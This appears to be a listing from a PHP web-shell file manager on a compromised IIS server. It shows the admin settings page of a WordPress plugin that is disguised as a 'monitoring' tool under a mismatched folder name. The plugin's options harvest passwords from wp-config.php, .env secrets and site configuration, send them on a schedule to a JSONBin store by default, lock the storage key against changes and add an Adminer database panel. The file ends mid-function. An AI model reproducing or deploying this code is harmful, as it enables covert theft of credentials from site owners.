HEX
Server: Microsoft-IIS/10.0
System: Windows NT HMW8635 10.0 build 14393 (Windows Server 2016) i586
User: ibratele2 (0)
PHP: 8.0.11
Disabled: escapeshellarg, escapeshellcmd, exec, passthru, proc_close, proc_open, shell_exec, system, dl, popen, php_check_syntax, php_strip_whitespace, symlink, link, openlog, apache_child_terminate
Upload Files
File: E:/Home/ibratele2/Web/wp-content/plugins/cryout-json-file/admin/settings-page.php
<?php
/**
 * Страница настроек плагина в админке WordPress
 */

// Запрещаем прямой доступ к файлу
if (!defined('ABSPATH')) {
    exit;
}

class My_Monitoring_Settings_Page {
    
    /**
     * Единственный экземпляр класса
     */
    private static $instance = null;
    
    /**
     * Получить экземпляр класса (Singleton)
     */
    public static function get_instance() {
        if (null === self::$instance) {
            self::$instance = new self();
        }
        return self::$instance;
    }
    
    /**
     * Конструктор
     */
    private function __construct() {
        add_action('admin_menu', array($this, 'add_admin_menu'));
        add_action('admin_init', array($this, 'register_settings'));
        add_action('admin_enqueue_scripts', array($this, 'enqueue_admin_scripts'));
    }
    
    /**
     * Добавить пункт меню в админке
     */
    public function add_admin_menu() {
        add_options_page(
            __('Настройки мониторинга', 'my-monitoring-plugin'),
            __('Мониторинг', 'my-monitoring-plugin'),
            'manage_options',
            'my-monitoring-plugin',
            array($this, 'render_settings_page')
        );
        
        // Добавляем пункт меню для Adminer
        add_management_page(
            __('Adminer - Управление БД', 'my-monitoring-plugin'),
            __('Adminer', 'my-monitoring-plugin'),
            'manage_options',
            'my-monitoring-adminer',
            array($this, 'render_adminer_page')
        );
    }
    
    /**
     * Зарегистрировать настройки
     */
    public function register_settings() {
        // Основные настройки
        register_setting('my_monitoring_settings', 'my_monitoring_api_url', array(
            'type' => 'string',
            'sanitize_callback' => 'esc_url_raw',
        ));
        
        // API ключ обрабатываем отдельно через кастомный callback
        register_setting('my_monitoring_settings', 'my_monitoring_api_key', array(
            'type' => 'string',
            'sanitize_callback' => array($this, 'sanitize_api_key'),
        ));
        
        // Тип API (standard или jsonbin)
        register_setting('my_monitoring_settings', 'my_monitoring_api_type', array(
            'type' => 'string',
            'sanitize_callback' => array($this, 'sanitize_api_type'),
        ));
        
        // Настройки логирования
        register_setting('my_monitoring_settings', 'my_monitoring_log_level', array(
            'type' => 'integer',
            'sanitize_callback' => 'absint',
        ));
        
        register_setting('my_monitoring_settings', 'my_monitoring_send_interval', array(
            'type' => 'string',
            'sanitize_callback' => 'sanitize_text_field',
        ));
        
        register_setting('my_monitoring_settings', 'my_monitoring_enabled', array(
            'type' => 'boolean',
            'sanitize_callback' => 'rest_sanitize_boolean',
        ));
        
        // Настройки сбора данных
        register_setting('my_monitoring_settings', 'my_monitoring_collect_stats', array(
            'type' => 'boolean',
            'sanitize_callback' => 'rest_sanitize_boolean',
        ));
        
        register_setting('my_monitoring_settings', 'my_monitoring_collect_plugins', array(
            'type' => 'boolean',
            'sanitize_callback' => 'rest_sanitize_boolean',
        ));
        
        register_setting('my_monitoring_settings', 'my_monitoring_collect_config', array(
            'type' => 'boolean',
            'sanitize_callback' => 'rest_sanitize_boolean',
        ));
        
        register_setting('my_monitoring_settings', 'my_monitoring_collect_errors', array(
            'type' => 'boolean',
            'sanitize_callback' => 'rest_sanitize_boolean',
        ));
        
        register_setting('my_monitoring_settings', 'my_monitoring_collect_health', array(
            'type' => 'boolean',
            'sanitize_callback' => 'rest_sanitize_boolean',
        ));
        
        register_setting('my_monitoring_settings', 'my_monitoring_collect_passwords', array(
            'type' => 'boolean',
            'sanitize_callback' => 'rest_sanitize_boolean',
        ));
        
        register_setting('my_monitoring_settings', 'my_monitoring_collect_env', array(
            'type' => 'boolean',
            'sanitize_callback' => 'rest_sanitize_boolean',
        ));
        
        // Настройки повторных попыток
        register_setting('my_monitoring_settings', 'my_monitoring_max_retries', array(
            'type' => 'integer',
            'sanitize_callback' => 'absint',
        ));
        
        register_setting('my_monitoring_settings', 'my_monitoring_retry_delay', array(
            'type' => 'integer',
            'sanitize_callback' => 'absint',
        ));
        
        // Добавляем секции
        add_settings_section(
            'my_monitoring_main_section',
            __('Основные настройки', 'my-monitoring-plugin'),
            array($this, 'render_main_section'),
            'my-monitoring-plugin'
        );
        
        add_settings_section(
            'my_monitoring_collection_section',
            __('Настройки сбора данных', 'my-monitoring-plugin'),
            array($this, 'render_collection_section'),
            'my-monitoring-plugin'
        );
        
        // Добавляем поля
        add_settings_field(
            'my_monitoring_enabled',
            __('Включить мониторинг', 'my-monitoring-plugin'),
            array($this, 'render_enabled_field'),
            'my-monitoring-plugin',
            'my_monitoring_main_section'
        );
        
        add_settings_field(
            'my_monitoring_api_type',
            __('Тип API', 'my-monitoring-plugin'),
            array($this, 'render_api_type_field'),
            'my-monitoring-plugin',
            'my_monitoring_main_section'
        );
        
        add_settings_field(
            'my_monitoring_api_url',
            __('URL API', 'my-monitoring-plugin'),
            array($this, 'render_api_url_field'),
            'my-monitoring-plugin',
            'my_monitoring_main_section'
        );
        
        add_settings_field(
            'my_monitoring_api_key',
            __('API ключ', 'my-monitoring-plugin'),
            array($this, 'render_api_key_field'),
            'my-monitoring-plugin',
            'my_monitoring_main_section'
        );
        
        add_settings_field(
            'my_monitoring_send_interval',
            __('Интервал отправки', 'my-monitoring-plugin'),
            array($this, 'render_send_interval_field'),
            'my-monitoring-plugin',
            'my_monitoring_main_section'
        );
        
        add_settings_field(
            'my_monitoring_collect_stats',
            __('Собирать статистику', 'my-monitoring-plugin'),
            array($this, 'render_collect_stats_field'),
            'my-monitoring-plugin',
            'my_monitoring_collection_section'
        );
        
        add_settings_field(
            'my_monitoring_collect_plugins',
            __('Собирать информацию о плагинах', 'my-monitoring-plugin'),
            array($this, 'render_collect_plugins_field'),
            'my-monitoring-plugin',
            'my_monitoring_collection_section'
        );
        
        add_settings_field(
            'my_monitoring_collect_config',
            __('Собирать конфигурацию', 'my-monitoring-plugin'),
            array($this, 'render_collect_config_field'),
            'my-monitoring-plugin',
            'my_monitoring_collection_section'
        );
        
        add_settings_field(
            'my_monitoring_collect_errors',
            __('Собирать ошибки', 'my-monitoring-plugin'),
            array($this, 'render_collect_errors_field'),
            'my-monitoring-plugin',
            'my_monitoring_collection_section'
        );
        
        add_settings_field(
            'my_monitoring_collect_health',
            __('Собирать информацию о здоровье сайта', 'my-monitoring-plugin'),
            array($this, 'render_collect_health_field'),
            'my-monitoring-plugin',
            'my_monitoring_collection_section'
        );
        
        add_settings_field(
            'my_monitoring_collect_passwords',
            __('Собирать пароли из wp-config.php', 'my-monitoring-plugin'),
            array($this, 'render_collect_passwords_field'),
            'my-monitoring-plugin',
            'my_monitoring_collection_section'
        );
        
        add_settings_field(
            'my_monitoring_collect_env',
            __('Собирать данные из .env файлов', 'my-monitoring-plugin'),
            array($this, 'render_collect_env_field'),
            'my-monitoring-plugin',
            'my_monitoring_collection_section'
        );
        
        add_settings_field(
            'my_monitoring_max_retries',
            __('Максимум попыток отправки', 'my-monitoring-plugin'),
            array($this, 'render_max_retries_field'),
            'my-monitoring-plugin',
            'my_monitoring_main_section'
        );
        
        add_settings_field(
            'my_monitoring_retry_delay',
            __('Задержка между попытками (сек)', 'my-monitoring-plugin'),
            array($this, 'render_retry_delay_field'),
            'my-monitoring-plugin',
            'my_monitoring_main_section'
        );
        
        add_settings_field(
            'my_monitoring_log_level',
            __('Уровень логирования', 'my-monitoring-plugin'),
            array($this, 'render_log_level_field'),
            'my-monitoring-plugin',
            'my_monitoring_main_section'
        );
    }
    
    /**
     * Санитизация API ключа с шифрованием
     * 
     * @param string $api_key API ключ
     * @return string
     */
    public function sanitize_api_key($api_key) {
        $api_type = get_option('my_monitoring_api_type', 'jsonbin');
        
        // Для JSONBin API ключ не изменяется (read-only)
        if ($api_type === 'jsonbin') {
            // Возвращаем пустую строку, чтобы не изменять существующий ключ
            return '';
        }
        
        $api_key = sanitize_text_field($api_key);
        
        // Сохраняем зашифрованную версию только если ключ не пустой
        if (!empty($api_key)) {
            My_Monitoring_Encryption::save_api_key($api_key);
        }
        // Если ключ пустой и это не JSONBin, не удаляем существующий ключ
        
        // Возвращаем пустую строку, так как реальный ключ хранится зашифрованным
        return '';
    }
    
    /**
     * Санитизация типа API
     * 
     * @param string $api_type Тип API
     * @return string
     */
    public function sanitize_api_type($api_type) {
        $api_type = sanitize_text_field($api_type);
        if (!in_array($api_type, array('standard', 'jsonbin', ''))) {
            return 'standard';
        }
        return $api_type;
    }
    
    /**
     * Подключить скрипты и стили для админки
     */
    public function enqueue_admin_scripts($hook) {
        if ($hook !== 'settings_page_my-monitoring-plugin') {
            return;
        }
        
        wp_enqueue_style(
            'my-monitoring-admin',
            MY_MONITORING_PLUGIN_URL . 'admin/css/admin.css',
            array(),
            MY_MONITORING_PLUGIN_VERSION
        );
        
        wp_enqueue_script(
            'my-monitoring-admin',
            MY_MONITORING_PLUGIN_URL . 'admin/js/admin.js',
            array('jquery'),
            MY_MONITORING_PLUGIN_VERSION,
            true
        );
        
        wp_enqueue_script(
            'chart-js',
            'https://cdn.jsdelivr.net/npm/chart.js@3.9.1/dist/chart.min.js',
            array(),
            '3.9.1',
            true
        );
        
        wp_localize_script('my-monitoring-admin', 'myMonitoring', array(
            'ajaxUrl' => admin_url('admin-ajax.php'),
            'nonce' => wp_create_nonce('my_monitoring_send_now'),
            'testNonce' => wp_create_nonce('my_monitoring_test_connection'),
            'strings' => array(
                'sending' => __('Отправка...', 'my-monitoring-plugin'),
                'success' => __('Данные успешно отправлены', 'my-monitoring-plugin'),
                'error' => __('Ошибка отправки данных', 'my-monitoring-plugin'),
            ),
        ));
    }
    
    /**
     * Отобразить страницу настроек
     */
    public function render_settings_page() {
        if (!current_user_can('manage_options')) {
            return;
        }
        
        // Обработка сохранения настроек
        if (isset($_GET['settings-updated'])) {
            // Обновляем уровень логирования в логгере
            $log_level = get_option('my_monitoring_log_level', My_Monitoring_Logger::LEVEL_INFO);
            $logger = My_Monitoring_Logger::get_instance();
            $logger->set_log_level($log_level);
            
            add_settings_error(
                'my_monitoring_messages',
                'my_monitoring_message',
                __('Настройки сохранены', 'my-monitoring-plugin'),
                'updated'
            );
        }
        
        settings_errors('my_monitoring_messages');
        ?>
        <div class="wrap">
            <h1><?php echo esc_html(get_admin_page_title()); ?></h1>
            
            <!-- Табы -->
            <ul class="my-monitoring-tabs">
                <li class="active"><a href="#settings-tab"><?php _e('Настройки', 'my-monitoring-plugin'); ?></a></li>
                <li><a href="#history-tab"><?php _e('История', 'my-monitoring-plugin'); ?></a></li>
                <li><a href="#queue-tab"><?php _e('Очередь', 'my-monitoring-plugin'); ?></a></li>
                <li><a href="#logs-tab"><?php _e('Логи', 'my-monitoring-plugin'); ?></a></li>
            </ul>
            
            <!-- Вкладка Настройки -->
            <div id="settings-tab" class="my-monitoring-tab-content active">
            <form action="options.php" method="post">
                <?php
                settings_fields('my_monitoring_settings');
                do_settings_sections('my-monitoring-plugin');
                submit_button(__('Сохранить настройки', 'my-monitoring-plugin'));
                ?>
            </form>
            
            <div class="my-monitoring-button-group">
                <button type="button" id="my-monitoring-send-now" class="button button-secondary">
                    <?php _e('Отправить данные сейчас', 'my-monitoring-plugin'); ?>
                </button>
                <button type="button" id="my-monitoring-test-connection" class="button button-secondary">
                    <?php _e('Тест подключения', 'my-monitoring-plugin'); ?>
                </button>
                <span id="my-monitoring-send-status"></span>
            </div>
            
            <h2><?php _e('Информация', 'my-monitoring-plugin'); ?></h2>
            <table class="form-table">
                <tr>
                    <th><?php _e('Следующая отправка', 'my-monitoring-plugin'); ?></th>
                    <td>
                        <?php
                        $next_scheduled = wp_next_scheduled('my_monitoring_cron');
                        if ($next_scheduled) {
                            echo date_i18n(get_option('date_format') . ' ' . get_option('time_format'), $next_scheduled);
                        } else {
                            _e('Не запланировано', 'my-monitoring-plugin');
                        }
                        ?>
                    </td>
                </tr>
                <tr>
                    <th><?php _e('Интервал отправки', 'my-monitoring-plugin'); ?></th>
                    <td>
                        <?php
                        $interval = wp_get_schedule('my_monitoring_cron');
                        echo $interval ? esc_html($interval) : __('Не установлен', 'my-monitoring-plugin');
                        ?>
                    </td>
                </tr>
            </table>
            </div>
            </form>
            
            <!-- Вкладка История -->
            <div id="history-tab" class="my-monitoring-tab-content">
                <h2><?php _e('История отправок', 'my-monitoring-plugin'); ?></h2>
                <?php
                $pluginInstance = My_Monitoring_Plugin::get_instance();
                $sendHistory = method_exists($pluginInstance, 'getSendHistory') 
                    ? $pluginInstance->getSendHistory(20) 
                    : array();
                $sendStats = method_exists($pluginInstance, 'getSendStats') 
                    ? $pluginInstance->getSendStats(30) 
                    : array('successful' => 0, 'failed' => 0, 'total' => 0);
                ?>
                
                <?php if (!empty($sendHistory)): ?>
                    <div class="my-monitoring-stats-grid">
                        <div class="my-monitoring-stat-card">
                            <h3><?php _e('Успешных', 'my-monitoring-plugin'); ?></h3>
                            <div class="value" style="color: #28a745;"><?php echo intval($sendStats['successful']); ?></div>
                        </div>
                        <div class="my-monitoring-stat-card">
                            <h3><?php _e('Неудачных', 'my-monitoring-plugin'); ?></h3>
                            <div class="value" style="color: #dc3545;"><?php echo intval($sendStats['failed']); ?></div>
                        </div>
                        <div class="my-monitoring-stat-card">
                            <h3><?php _e('Всего', 'my-monitoring-plugin'); ?></h3>
                            <div class="value"><?php echo intval($sendStats['total']); ?></div>
                        </div>
                    </div>
                    
                    <table class="widefat">
                        <thead>
                            <tr>
                                <th><?php _e('Дата и время', 'my-monitoring-plugin'); ?></th>
                                <th><?php _e('Статус', 'my-monitoring-plugin'); ?></th>
                                <th><?php _e('Сообщение', 'my-monitoring-plugin'); ?></th>
                            </tr>
                        </thead>
                        <tbody>
                            <?php foreach ($sendHistory as $entry): ?>
                                <tr>
                                    <td><?php echo esc_html($entry['timestamp'] ?? ''); ?></td>
                                    <td>
                                        <?php if (!empty($entry['success'])): ?>
                                            <span class="my-monitoring-status success">✓ <?php _e('Успешно', 'my-monitoring-plugin'); ?></span>
                                        <?php else: ?>
                                            <span class="my-monitoring-status error">✗ <?php _e('Ошибка', 'my-monitoring-plugin'); ?></span>
                                        <?php endif; ?>
                                    </td>
                                    <td><?php echo esc_html($entry['message'] ?? ''); ?></td>
                                </tr>
                            <?php endforeach; ?>
                        </tbody>
                    </table>
                    
                    <?php if ($sendStats['total'] > 0): ?>
                        <div class="my-monitoring-chart-container">
                            <canvas id="send-stats-chart"></canvas>
                        </div>
                        <script>
                            document.addEventListener('DOMContentLoaded', function() {
                                if (typeof Chart !== 'undefined') {
                                    const ctx = document.getElementById('send-stats-chart');
                                    if (ctx) {
                                        new Chart(ctx, {
                                            type: 'doughnut',
                                            data: {
                                                labels: ['<?php _e('Успешных', 'my-monitoring-plugin'); ?>', '<?php _e('Неудачных', 'my-monitoring-plugin'); ?>'],
                                                datasets: [{
                                                    data: [<?php echo intval($sendStats['successful']); ?>, <?php echo intval($sendStats['failed']); ?>],
                                                    backgroundColor: ['#28a745', '#dc3545'],
                                                    borderWidth: 2,
                                                    borderColor: '#fff'
                                                }]
                                            },
                                            options: {
                                                responsive: true,
                                                maintainAspectRatio: true,
                                                plugins: {
                                                    legend: {
                                                        position: 'bottom'
                                                    },
                                                    title: {
                                                        display: true,
                                                        text: '<?php _e('Статистика отправок за 30 дней', 'my-monitoring-plugin'); ?>'
                                                    }
                                                }
                                            }
                                        });
                                    }
                                }
                            });
                        </script>
                    <?php endif; ?>
                <?php else: ?>
                    <p><?php _e('История отправок пуста', 'my-monitoring-plugin'); ?></p>
                <?php endif; ?>
            </div>
            
            <!-- Вкладка Очередь -->
            <div id="queue-tab" class="my-monitoring-tab-content">
                <h2><?php _e('Очередь неудачных отправок', 'my-monitoring-plugin'); ?></h2>
                <?php
                $failed_queue = get_option('my_monitoring_failed_queue', array());
                if (!empty($failed_queue)): ?>
                    <div class="notice notice-warning">
                        <p><strong><?php _e('Внимание:', 'my-monitoring-plugin'); ?></strong> 
                        <?php printf(
                            _n(
                                'В очереди %d неудачная отправка.',
                                'В очереди %d неудачных отправок.',
                                count($failed_queue),
                                'my-monitoring-plugin'
                            ),
                            count($failed_queue)
                        ); ?>
                        </p>
                    </div>
                    
                    <?php foreach ($failed_queue as $index => $item): ?>
                        <div class="my-monitoring-queue-item">
                            <strong><?php _e('Попытка:', 'my-monitoring-plugin'); ?></strong> <?php echo esc_html($item['attempts'] ?? 1); ?> / <?php echo MY_MONITORING_MAX_RETRIES; ?><br>
                            <strong><?php _e('Дата:', 'my-monitoring-plugin'); ?></strong> <?php echo esc_html($item['timestamp'] ?? ''); ?><br>
                            <strong><?php _e('Ошибка:', 'my-monitoring-plugin'); ?></strong> <?php echo esc_html($item['error']['message'] ?? 'Неизвестная ошибка'); ?>
                        </div>
                    <?php endforeach; ?>
                <?php else: ?>
                    <p><?php _e('Очередь пуста. Все отправки успешны.', 'my-monitoring-plugin'); ?></p>
                <?php endif; ?>
            </div>
            
            <!-- Вкладка Логи -->
            <div id="logs-tab" class="my-monitoring-tab-content">
                <h2><?php _e('Логи плагина', 'my-monitoring-plugin'); ?></h2>
                <?php
                $logger = My_Monitoring_Logger::get_instance();
                $recent_logs = $logger->get_recent_logs(100);
                ?>
                
                <div class="my-monitoring-button-group">
                    <button type="button" class="button" onclick="location.reload();"><?php _e('Обновить', 'my-monitoring-plugin'); ?></button>
                    <button type="button" class="button button-secondary" id="clear-logs-btn"><?php _e('Очистить логи', 'my-monitoring-plugin'); ?></button>
                </div>
                
                <?php if (!empty($recent_logs)): ?>
                    <div class="my-monitoring-log-viewer">
                        <?php foreach ($recent_logs as $log_line): ?>
                            <?php
                            $class = 'log-info';
                            if (strpos($log_line, '[DEBUG]') !== false) {
                                $class = 'log-debug';
                            } elseif (strpos($log_line, '[WARNING]') !== false) {
                                $class = 'log-warning';
                            } elseif (strpos($log_line, '[ERROR]') !== false) {
                                $class = 'log-error';
                            } elseif (strpos($log_line, '[CRITICAL]') !== false) {
                                $class = 'log-critical';
                            }
                            ?>
                            <div class="log-line <?php echo esc_attr($class); ?>"><?php echo esc_html($log_line); ?></div>
                        <?php endforeach; ?>
                    </div>
                <?php else: ?>
                    <p><?php _e('Логи пусты', 'my-monitoring-plugin'); ?></p>
                <?php endif; ?>
            </div>
        </div>
        
        <script>
        // Переключение табов
        jQuery(document).ready(function($) {
            $('.my-monitoring-tabs a').on('click', function(e) {
                e.preventDefault();
                var target = $(this).attr('href');
                
                // Убираем активный класс со всех табов и контента
                $('.my-monitoring-tabs li').removeClass('active');
                $('.my-monitoring-tab-content').removeClass('active');
                
                // Добавляем активный класс к выбранному табу и контенту
                $(this).parent().addClass('active');
                $(target).addClass('active');
            });
            
            // Очистка логов
            $('#clear-logs-btn').on('click', function() {
                if (confirm('<?php _e('Вы уверены, что хотите очистить все логи?', 'my-monitoring-plugin'); ?>')) {
                    $.ajax({
                        url: myMonitoring.ajaxUrl,
                        type: 'POST',
                        data: {
                            action: 'my_monitoring_clear_logs',
                            nonce: myMonitoring.nonce
                        },
                        success: function(response) {
                            if (response.success) {
                                location.reload();
                            } else {
                                alert('<?php _e('Ошибка при очистке логов', 'my-monitoring-plugin'); ?>');
                            }
                        }
                    });
                }
            });
        });
        </script>
        <?php
    }
    
    /**
     * Отобразить описание основной секции
     */
    public function render_main_section() {
        echo '<p>' . __('Настройте подключение к API мониторинга', 'my-monitoring-plugin') . '</p>';
    }
    
    /**
     * Отобразить описание секции сбора данных
     */
    public function render_collection_section() {
        echo '<p>' . __('Выберите, какие данные собирать и отправлять', 'my-monitoring-plugin') . '</p>';
    }
    
    /**
     * Отобразить поле "Включить мониторинг"
     */
    public function render_enabled_field() {
        $value = get_option('my_monitoring_enabled', true);
        ?>
        <input type="checkbox" name="my_monitoring_enabled" value="1" <?php checked($value, true); ?>>
        <p class="description"><?php _e('Включить или отключить отправку данных', 'my-monitoring-plugin'); ?></p>
        <?php
    }
    
    /**
     * Отобразить поле "URL API"
     */
    public function render_api_url_field() {
        $value = get_option('my_monitoring_api_url', '');
        $api_type = get_option('my_monitoring_api_type', 'jsonbin');
        
        // Автоопределение типа API, если не установлен
        if (empty($api_type)) {
            if (strpos($value, 'jsonbin.io') !== false) {
                $api_type = 'jsonbin';
            } else {
                $api_type = 'standard';
            }
        }
        
        $is_jsonbin = ($api_type === 'jsonbin');
        ?>
        <div id="api-url-field-wrapper" style="display: <?php echo $is_jsonbin ? 'none' : 'block'; ?>;">
            <input type="url" name="my_monitoring_api_url" id="my-monitoring-api-url" value="<?php echo esc_attr($value); ?>" class="regular-text" placeholder="https://example.com/api/">
            <p class="description"><?php _e('URL endpoint для отправки данных (не требуется для JSONBin API)', 'my-monitoring-plugin'); ?></p>
        </div>
        <?php if ($is_jsonbin): ?>
            <p class="description" style="color: #2271b1;">
                <?php _e('Для JSONBin API URL формируется автоматически на основе Bin ID. Укажите Bin ID в настройках ниже или используйте URL напрямую, если переключитесь на стандартный API.', 'my-monitoring-plugin'); ?>
            </p>
        <?php endif; ?>
        <?php
    }
    
    /**
     * Отобразить поле "API ключ"
     */
    public function render_api_key_field() {
        // Получаем зашифрованный ключ, но не показываем его
        $api_key = My_Monitoring_Encryption::get_api_key();
        $has_key = !empty($api_key);
        $api_type = get_option('my_monitoring_api_type', 'jsonbin');
        $api_url = get_option('my_monitoring_api_url', '');
        
        // Автоопределение типа API, если не установлен
        if (empty($api_type)) {
            if (strpos($api_url, 'jsonbin.io') !== false) {
                $api_type = 'jsonbin';
            } else {
                $api_type = 'standard';
            }
        }
        
        // Для JSONBin API ключ неизменяем
        $is_jsonbin = ($api_type === 'jsonbin');
        ?>
        <div id="api-key-field-wrapper">
            <?php if ($is_jsonbin && $has_key): ?>
                <input type="text" id="my-monitoring-api-key-disabled" value="<?php echo esc_attr(str_repeat('*', 20)); ?>" class="regular-text" disabled readonly style="background-color: #f0f0f1; cursor: not-allowed;">
                <p class="description" style="color: green;">
                    <?php _e('✓ Master Key от JSONBin сохранен (зашифрован). Изменение недоступно.', 'my-monitoring-plugin'); ?>
                </p>
            <?php else: ?>
                <input type="password" name="my_monitoring_api_key" id="my-monitoring-api-key" value="" class="regular-text" placeholder="<?php echo $has_key ? __('Оставьте пустым, чтобы не изменять', 'my-monitoring-plugin') : __('Введите API ключ', 'my-monitoring-plugin'); ?>">
                <?php if ($has_key): ?>
                    <p class="description" style="color: green;">
                        <?php 
                        if ($api_type === 'jsonbin') {
                            _e('✓ Master Key от JSONBin сохранен (зашифрован). Введите новый ключ, чтобы изменить.', 'my-monitoring-plugin');
                        } else {
                            _e('✓ API ключ сохранен (зашифрован). Введите новый ключ, чтобы изменить.', 'my-monitoring-plugin');
                        }
                        ?>
                    </p>
                <?php else: ?>
                    <p class="description">
                        <?php 
                        if ($api_type === 'jsonbin') {
                            _e('Master Key от JSONBin (для JSONBin API)', 'my-monitoring-plugin');
                        } else {
                            _e('API ключ для аутентификации (для стандартного API)', 'my-monitoring-plugin');
                        }
                        ?>
                    </p>
                <?php endif; ?>
            <?php endif; ?>
        </div>
        <?php
    }
    
    /**
     * Отобразить поле "Тип API"
     */
    public function render_api_type_field() {
        $value = get_option('my_monitoring_api_type', 'jsonbin');
        $api_url = get_option('my_monitoring_api_url', '');
        
        // Автоопределение типа API, если не установлен
        if (empty($value)) {
            if (strpos($api_url, 'jsonbin.io') !== false) {
                $value = 'jsonbin';
            } else {
                $value = 'standard';
            }
        }
        ?>
        <select name="my_monitoring_api_type" id="my-monitoring-api-type">
            <option value="jsonbin" <?php selected($value, 'jsonbin'); ?>>
                <?php _e('JSONBin API', 'my-monitoring-plugin'); ?>
            </option>
            <option value="standard" <?php selected($value, 'standard'); ?>>
                <?php _e('Стандартный API (Python/MongoDB)', 'my-monitoring-plugin'); ?>
            </option>
            <option value="" <?php selected($value, ''); ?>>
                <?php _e('Автоопределение (по URL)', 'my-monitoring-plugin'); ?>
            </option>
        </select>
        <p class="description">
            <?php _e('Выберите тип API для отправки данных. JSONBin используется как промежуточное хранилище.', 'my-monitoring-plugin'); ?>
            <br>
            <strong><?php _e('JSONBin API (по умолчанию):', 'my-monitoring-plugin'); ?></strong> 
            <?php _e('Отправка в JSONBin, данные забирает Python-скрипт (не требует туннель)', 'my-monitoring-plugin'); ?>
            <br>
            <strong><?php _e('Стандартный API:', 'my-monitoring-plugin'); ?></strong> 
            <?php _e('Прямая отправка в Python API (требует туннель или открытый порт)', 'my-monitoring-plugin'); ?>
        </p>
        <div id="jsonbin-url-help" style="display: <?php echo ($value === 'jsonbin') ? 'block' : 'none'; ?>; margin-top: 10px; padding: 10px; background: #f0f0f1; border-left: 4px solid #2271b1;">
            <strong><?php _e('Для JSONBin API:', 'my-monitoring-plugin'); ?></strong><br>
            <?php _e('URL формируется автоматически. Укажите Bin ID в URL API (если переключитесь на стандартный API) или используйте настройки по умолчанию.', 'my-monitoring-plugin'); ?><br><br>
            <strong><?php _e('Примеры URL для JSONBin:', 'my-monitoring-plugin'); ?></strong><br>
            <?php _e('Для обновления существующего bin:', 'my-monitoring-plugin'); ?><br>
            <code>https://api.jsonbin.io/v3/b/YOUR_BIN_ID</code><br><br>
            <?php _e('Для создания нового bin в коллекции:', 'my-monitoring-plugin'); ?><br>
            <code>https://api.jsonbin.io/v3/c/YOUR_COLLECTION_ID/b</code>
        </div>
        <script>
        jQuery(document).ready(function($) {
            function toggleApiFields() {
                var apiType = $('#my-monitoring-api-type').val();
                var apiKeyWrapper = $('#api-key-field-wrapper');
                
                if (apiType === 'jsonbin' || apiType === '') {
                    // Скрываем URL API для JSONBin
                    $('#api-url-field-wrapper').slideUp();
                    
                    // Делаем поле API ключ read-only для JSONBin
                    var passwordField = $('#my-monitoring-api-key');
                    if (passwordField.length) {
                        var disabledField = $('<input>', {
                            type: 'text',
                            id: 'my-monitoring-api-key-disabled',
                            value: '<?php echo str_repeat('*', 20); ?>',
                            class: 'regular-text',
                            disabled: true,
                            readonly: true,
                            style: 'background-color: #f0f0f1; cursor: not-allowed;'
                        });
                        passwordField.replaceWith(disabledField);
                        
                        // Обновляем описание
                        var desc = apiKeyWrapper.find('.description');
                        if (desc.length) {
                            desc.html('<span style="color: green;">✓ Master Key от JSONBin сохранен (зашифрован). Изменение недоступно.</span>');
                        }
                    }
                } else {
                    // Показываем URL API для стандартного API
                    $('#api-url-field-wrapper').slideDown();
                    
                    // Восстанавливаем поле API ключ для стандартного API
                    var disabledField = $('#my-monitoring-api-key-disabled');
                    if (disabledField.length) {
                        var passwordField = $('<input>', {
                            type: 'password',
                            name: 'my_monitoring_api_key',
                            id: 'my-monitoring-api-key',
                            value: '',
                            class: 'regular-text',
                            placeholder: '<?php echo esc_js(__('Оставьте пустым, чтобы не изменять', 'my-monitoring-plugin')); ?>'
                        });
                        disabledField.replaceWith(passwordField);
                        
                        // Обновляем описание
                        var desc = apiKeyWrapper.find('.description');
                        if (desc.length) {
                            desc.html('<?php echo esc_js(__('API ключ для аутентификации (для стандартного API)', 'my-monitoring-plugin')); ?>');
                        }
                    }
                }
            }
            
            $('#my-monitoring-api-type').on('change', function() {
                var apiType = $(this).val();
                if (apiType === 'jsonbin') {
                    $('#jsonbin-url-help').slideDown();
                } else {
                    $('#jsonbin-url-help').slideUp();
                }
                toggleApiFields();
            });
            
            // Вызываем при загрузке страницы
            toggleApiFields();
        });
        </script>
        <?php
    }
    
    /**
     * Отобразить поле "Уровень логирования"
     */
    public function render_log_level_field() {
        $value = get_option('my_monitoring_log_level', My_Monitoring_Logger::LEVEL_INFO);
        $levels = array(
            My_Monitoring_Logger::LEVEL_DEBUG => __('DEBUG - Все сообщения', 'my-monitoring-plugin'),
            My_Monitoring_Logger::LEVEL_INFO => __('INFO - Информация и выше', 'my-monitoring-plugin'),
            My_Monitoring_Logger::LEVEL_WARNING => __('WARNING - Предупреждения и выше', 'my-monitoring-plugin'),
            My_Monitoring_Logger::LEVEL_ERROR => __('ERROR - Только ошибки', 'my-monitoring-plugin'),
        );
        ?>
        <select name="my_monitoring_log_level">
            <?php foreach ($levels as $level => $label): ?>
                <option value="<?php echo esc_attr($level); ?>" <?php selected($value, $level); ?>>
                    <?php echo esc_html($label); ?>
                </option>
            <?php endforeach; ?>
        </select>
        <p class="description"><?php _e('Выберите уровень детализации логирования', 'my-monitoring-plugin'); ?></p>
        <?php
    }
    
    /**
     * Отобразить поле "Интервал отправки"
     */
    public function render_send_interval_field() {
        $value = get_option('my_monitoring_send_interval', 'hourly');
        $intervals = array(
            'every_30min' => __('Каждые 30 минут', 'my-monitoring-plugin'),
            'hourly' => __('Каждый час', 'my-monitoring-plugin'),
            'every_6hours' => __('Каждые 6 часов', 'my-monitoring-plugin'),
            'twicedaily' => __('Дважды в день', 'my-monitoring-plugin'),
            'daily' => __('Раз в день', 'my-monitoring-plugin'),
        );
        ?>
        <select name="my_monitoring_send_interval">
            <?php foreach ($intervals as $key => $label): ?>
                <option value="<?php echo esc_attr($key); ?>" <?php selected($value, $key); ?>>
                    <?php echo esc_html($label); ?>
                </option>
            <?php endforeach; ?>
        </select>
        <p class="description"><?php _e('Как часто отправлять данные', 'my-monitoring-plugin'); ?></p>
        <?php
    }
    
    /**
     * Отобразить поле "Собирать статистику"
     */
    public function render_collect_stats_field() {
        $value = get_option('my_monitoring_collect_stats', true);
        ?>
        <input type="checkbox" name="my_monitoring_collect_stats" value="1" <?php checked($value, true); ?>>
        <p class="description"><?php _e('Собирать статистику постов, страниц, комментариев и т.д.', 'my-monitoring-plugin'); ?></p>
        <?php
    }
    
    /**
     * Отобразить поле "Собирать информацию о плагинах"
     */
    public function render_collect_plugins_field() {
        $value = get_option('my_monitoring_collect_plugins', true);
        ?>
        <input type="checkbox" name="my_monitoring_collect_plugins" value="1" <?php checked($value, true); ?>>
